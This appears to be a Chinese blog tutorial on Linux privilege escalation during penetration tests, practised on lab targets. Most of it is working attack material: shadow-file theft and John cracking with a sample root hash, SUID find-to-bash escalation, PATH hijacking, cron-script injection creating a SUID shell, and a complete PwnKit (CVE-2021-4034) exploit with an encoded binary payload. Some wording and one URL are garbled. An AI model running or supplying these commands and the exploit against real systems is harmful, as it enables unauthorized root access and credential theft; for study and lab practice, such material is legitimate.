渗透时Linux系统该如何提权?
时间:2022-11-13 15:30:00
Linux系统目录
- 一、总结提权手段
-
-
- 1.1 核提权(基本提权)
-
- 1.1.1 收集目标目标目标机的信息
- 1.1.2 searchsploit工具的利用
- 1.1.3 将exp将文件上传到目标目标目标机
- 1.2 John破解提权
-
- 1.2.1 获取shadow结合passwd进行破解
- 1.2.1 直接获取root破解用户的密码哈希值
- 1.3 mysql内部数据提权
-
- 1.3.1 弱口令进入mysql
- 1.4 提高执行目录的权利
- 1.5 寻找文件提权
- 1.6 提高计划任务的权利(有权修改计划任务)
- 1.7 根据查询工具结合提权文件提权
- 1.8 最新漏洞提权(例如CVE-2021-4034 )
-
- 二、总结提权工具
-
-
- 2.1 GTFOBins & LOLBAS(windows)
- 2.2 Linux-exploit-suggester 提权查询
- 2.3 GTFO
- 2.4 LinEnum
- 2.5 Linux Smart Enumeration
- 2.6 Vulmap
- 2.7 网站推荐
-
一、总结提权手段
1.1 核提权(基本提权)
1.1.1 收集目标目标目标机的信息
uname -a 查看内核文件
lsb_release -a 查看发行版本
cat /etc/issue 查看发行版本
1.1.2 searchsploit工具的利用
利用kali自带的searchsploit工具查询内核,找到exp文件反编译,这里我们用2.以10核心为例:
searchsploit 2.10.0
这里我们假设对应版本ProFTPd 1.2.10 - Remote Users Enumeration”
C源码保存在当前目录下
searchsploit 2.10 linux/remote/581.c -m
对.c编译源码
gcc 581.c -o exp #编译
1.1.3 将exp将文件上传到目标目标目标机
我们可以在kali开一个环境python服务器,这样靶机就可以直接下载文件地址exp文件执行权限
#kali中exp该命令在目录下执行:
python3 -m http.server 80
#获取192.168.92.130/exp 并保存文件名称exp:
curl http://192.168.92.130/exp -o exp
#给exp添加执行权限的文件
chmod x exp
#运行exp文件(我的靶机没有这个漏洞,所以不执行)
./exp
1.2 John破解提权
1.2.1 获取shadow结合passwd进行破解
这边John爆破主要是获得/etc/shadow这个文件只允许这个文件root可读的, 但在某些情况下,如果我们能得到/etc/shadow 文件的内容, 我们很有可能破解根用户的密码哈希值。 有时在某些地方awd竞赛中给出shadow这个文件, (有权修改shadow我们也可以修改它root将密码的哈希值修改为我们自己知道的)
有时是结合find例如获取文件find有权限但不正常/bin/bash或其他情况
find /etc -name "shadow" -exec cat {} \;
例如靶场(Escalate_Linux)访问他的8000端口可以未经授权下载此文件
读取到了shadow文件获取/etc/passwd这个文件
通过unshadow将两者结合
unshadow passwd shadow > newexp
再通过john破解得到root密码
(这里的密码设置很简单,所以会很快。如果比较复杂,需要很长时间。
John newexp
1.2.1 直接获取root用户的密码哈希值进行破解
(注意:John这个工具的一个规则是第一次爆破后便不能重复爆破这个shadow,如果想查看上一次爆破的结果,可以使用:john --show shadow 查看)
得到hash值:
head -n 1 /etc/shadow
root:$6$lQgBvb6T$bQLqQ5IogUYQsRi0ZRYep0RDKVDZReVMt27FbKd15AdV8GE2cUvS6yhzDZLYoYBEiq9MkQvvHbq/ajbpmdLhP1:18950:0:99999:7:::
将其命名保存进行破解:
(为了更好的排版换行了)
echo 'root:$6$lQgBvb6T$bQLqQ5IogUYQsRi0ZRYep
0RDKVDZReVMt27FbKd15AdV8GE2cUvS6yhzDZLY
oYBEiq9MkQvvHbq/ajbpmdLhP1:18950:0:99999:7:::' > 'hacker.txt'
然后将hacker.txt在kali中利用john跑密码本破解
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hacker.txt
1.3 mysql内部数据提权
这边利用靶场(Escalate_Linux)进行测试
这边对目标靶机进行nmap扫描,通过后门结合msf的/script/web_delivery进入交互页面
1.3.1 弱口令进入mysql
到mysql目录中查询网站目录表或者其他关键表
通过查询user数据库中的表发现了mysql用户的密码,通过ssh进行登录,发现mysql用户的权限也很低,但是至少通过用户ssh进来了,
猜测性的登录root发现密码是:root@12345 ,其他的用户也是用户名+@12345
(有时候root用户的密码便在这里,这里只放了mysql的也许是需要你去猜测,就不做继续的提权,因为涉及了其他的提权点)
1.4 执行目录提权
可以通过以下命令用来提权的:
三者的目的都一样
·
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -user root -perm -4000 -print 2>/dev/null
`
若有find命令的高权限可到/tmp下创建一个文件然后通过该文件提权
cd /tmp
touch a
find a -exec /bin/bash \; -quit
1.5 寻找文件提权
依旧可以用到这串查询语句,这里的靶机依旧是(Escalate_Linux)
find / -perm -u=s -type f 2>/dev/null
查询到这些能提权的文件便能直接提权,例如利用**/home/user3/shell这个文件提权,执行后直接变成root权限
或者我们可以利用/home/user5/script**一般script这类文件跟某些命令或者环境变量都有紧密的关系,可以先执行script,发现其跟ls列出目录的结果是一致的,那我们的思路就是将ls命令换成执行/bin/bash,直接获取权限
我们这边便在/tmp目录下创建一个指定写入”/bin/bash“的ls文件,并且赋予权限,再将/tmp这个文件夹写入
1.6 计划任务提权(需要有权限修改计划任务)
通俗的来讲就是root用户创建了一个定时任务,比如10s执行一个sh脚本,例如一个脚本名为shell.sh功能是将echo “I will automate the process” >abc.txt,那这个autoscript.sh的权限所有是root用户的,这个时候只要你将命令内容写入到这个文件中,理论上执行时便会以root权限执行这个命令,但是我这里不知道为啥有些问题,但是思路是这样的。
添加权限(如果可以的话)
chmod o=rw /home/user4/autoscript.sh
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> autoscript.sh
1.7 根据查询工具结合提权文件提权
利用github这个提权工具,结果会出现在下方,有几率破解的exp文件链接将按照概率从大到小一一展示,只需要去对应链接下载,(有些是c源码需要编译)
这边提示的便是利用1.8的最新的这个漏洞,很显然这个exp可以直接提权上root
1.8 最新漏洞提权(例如CVE-2021-4034 )
该漏洞影响较大,且直接允许便可获取最高权限,这里用2021年kali做个测试,利用python3运行
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile
payload = zlib.decompress(
base64.b64decode(
"""eJztW21sFEUYnr32ymG/TgPhpAQuBhJA2V6BKh8p1FZgUTAFW0OiuL32tteL9+XuXmmRQA1igkhSFRI1JmJioPEXJPrDH2pJm8bEP5KYqD9MqoSkjUQqKgLRrjO777vdHXqUGDUhmafsPfu+8z4zs7szc2zunUNbdmwNSBJBlJBNxLbudexG8A/WuSHUt46U089FpMaOLSXF8VaZn0nYIaYLemyelwX87NXZ7UXBz3FI8rNXx7oQlsG9yc95aKeXay8Auijoopv8PCT5OQTyUjgGoT6e+e7zui8gjuelxM9475+6ZCb+SXstoFsKBTyvJX7G9nZRHT7SOwE+3t3QXrHnMCn5GR9jKdTBxsy2J9vYcxlivhJP+TywWfnBXXWr3s18dG7sdNlP5cMjT5/49PmLLI7djnIyPR5YtaXkAdtXQY/OikPV9Wd299/uOqIz+F+mx30z+KUi8YUi8ceK+B8qUk9Xkfit9HhgBv+BIvGZIv42219FPoH1oBz8z4B/BPytKFDVZCaXVQ0zrpuqStTtrTvVhKZryZRhanrrzuZ0Lqu1xjvSmlM2c4na2RtXu1LZeDq1XyPJzly2x/lUU9mUSQzNLKQSjDTgJJiMtV6ts0ejRCPTqY5O2cjJD5NtO7Y3Naur5dVyvd3RgH3gJ/uT4G+ATI/XwsLUXBbxDtg4TnH+nIXrj3D+PPhbGv1+tNs5fygKOs5fDv6xzQ6zMTu9WhMy7vGXePyTHr93nl73+EMefwTanUOcO4OIevzedX65xx/0+GMe/xyPf53HP9fjb/T47yECAgICAgICAgL/NX6tXnxTOXw5pBwLfldLiHJkyAxYXymHR0LDdrlV/yN1X7WWXaRUvcSO72YFVyd+sCxrwLYl277g2gHbPu/aJbZ9zrVLbft91w7a9uto09b22q095vSP2hnO1jibj2/j7J2cvQVt5XhDH7vu40Gd0frr5nx6K0Zl51bMtcaql/Szyx0GpvHb7fj6JkYrppSjk8r5nzcr56+XKNKocmHKnEcrOAkVhKyxLrsd1LP2+xuCVEsKD7Yphxt09iKsHL1kVijHGj6jxviNKcsaT9CbMRr8ntrSXqr16Sf20UJ20kZ1A3uH8fRzFjB+k8qds7CFZ6Ou7zI9U47PL8j2NTxnU8MflbTkDTdmcMqp3h4X7kgQEBAQEBAQEBAQEBAQuJtR25HK1hrdhP5rebRVaWD2htqCoTsnBv0kUk3Jxhhxfuf584pl7aCcnrQsk/IByq9RPvmLZX1A+RTlEeL8Fssg7d9NpN6wVFMxJzQgOb9bL6LHIK0nzwKqwlurIo9Xl+8L9ZPNCzesXLPU/tmS6elrM5mkcWFPf5n/WXqMU3+7x8/qZP2ZoP2xf6PcUhV+JdBcWdZEG6ZmhB4n6PE1LW/1lv/bN1RAQEBAQEBAQEBAQOAuAeYzYv4i5hoOAFdgILyUVYIZgeTR+7EY8iFrwMZcw4UYD+WLuPLfp6wc40lIQsTcwhZIPsT3tQgkO2LO4GlgzE+NALs5kY0OYW4jXg++p2Ku4gLsT5nfHwv6+/ktMOYyYntTltP/MMRbYON9nAT7GlzPDbC9OZT/JzCPnUcMnm8jcAtwO3AeuD/s12F+KwLzWhHlnL2tuXlDdHlbRyFrFqLr5TVybFXdIwXbrDu4OibH1q5w3ITIRrdh6ma8g8jZnKnJyWxBzuu5vKabfR5XRyGVTqxKJYhtdceNbiIn+rJGX8ZhU3dKejTdSOWyPkOlZbqWjrNAOMunTSLbScfsVE7m4MTQOolsar3U7KLFNDqXiJtxImvdapcez2hqd0Kftpw61Liux/scBZ7TpuKZFK2MVu205tTTYRhE7sxlMlrWvMOHeRuweeHN7S22P8B9bpy9mNMX25eA4PeEsO0j1+hYRz3Ob+TlnI5vfyNcA+px/iOvgwnG5pHk0eO8bCbOWoB6XE+Qcf1ASJz9BHHmMupx/iLjuob9D3C8hzhrg7u9JOjnKJm5/4gk1I16XI+QcT3i7x9e/wtQ1oTlZX7G9ZDFLJhB/yLx7Zm4Zb8OrvMI/vn3cPpo2M95Lp7fFvQSpx8I+5lbhm7Rv8rpT4X93D6L/k1Oj/ujkCPcgOH78zanx+9L5Eounr9/74Hezc2P+pmff/z4PcPpi+3zKdb+x5x+T9TPZ7l4fvyyzKIqMv197O77kWeOD3H8JT2qPXr8/0PkDvXfEP8eCXcfF+iHPOuHV4fP8Qhxrh/1uB9jrBbqmaX9MU7vbqyLOaTMop/g9Pg92xLzVeOCH39XoC7U94O+P+ZvB8GPn9/Ax7eD+pVF9F4uIbfiQ9D/NUv7fwNC41U+"""
)
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t
wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
"module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b"",
]
cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)
二、提权工具总结
2.1 GTFOBins & LOLBAS(windows)
如果你忘记了linux某些命令的提权方法,可以到这个两个网站查询
https://gtfobins.github.io/ #GTFOBins
https://lolbas-project.github.io/ #LOLBAS
2.2 Linux-exploit-suggester 提权查询
下载地址:
https://github.com/mzet-/linux-exploit-suggester
命令:
指定内核版本,用法类似于searchsploit,若不接后面参数 -k [版面号] 则检测的是本机提权信息
./Linux_Exploit_Suggester.pl -k 2.6.28
2.3 GTFO
其实就是一个快捷用于搜索GTFOBins和LOLBAS上的二进制文件的工具。
下载地址:
https://github.com/mzfr/gtfo
2.4 LinEnum
这个工具真的是爱了,这个工具直接帮你把关键的信息全都提取出来,直接就是过一遍上面说的提权方法,都不用自己一步步去找浅显的提权文件,这个软件直接给你找出提权点直接就可以去提权了。
https://github.com/rebootuser/LinEnum
2.5 Linux Smart Enumeration
一个也很完美的bash提权工具
执行:
bash lse.sh
下载地址:
https://github.com/diego-treitos/linux-smart-enumeration
操作如下图,简单易懂,非常容易上手的好工具
2.6 Vulmap
个人感觉跟 Linux-exploit-suggester 属于一类但是没有他强,区别差不多就是这个工具弱一些,是用python编写的,兼容的python版本多,python2、python3都能跑。
下载地址:
https://github.com/vulmon/Vulma
2.7 网站推荐
最新漏洞的相关情况:
https://www.exploit-db.com/
https://dirtycow.ninja/#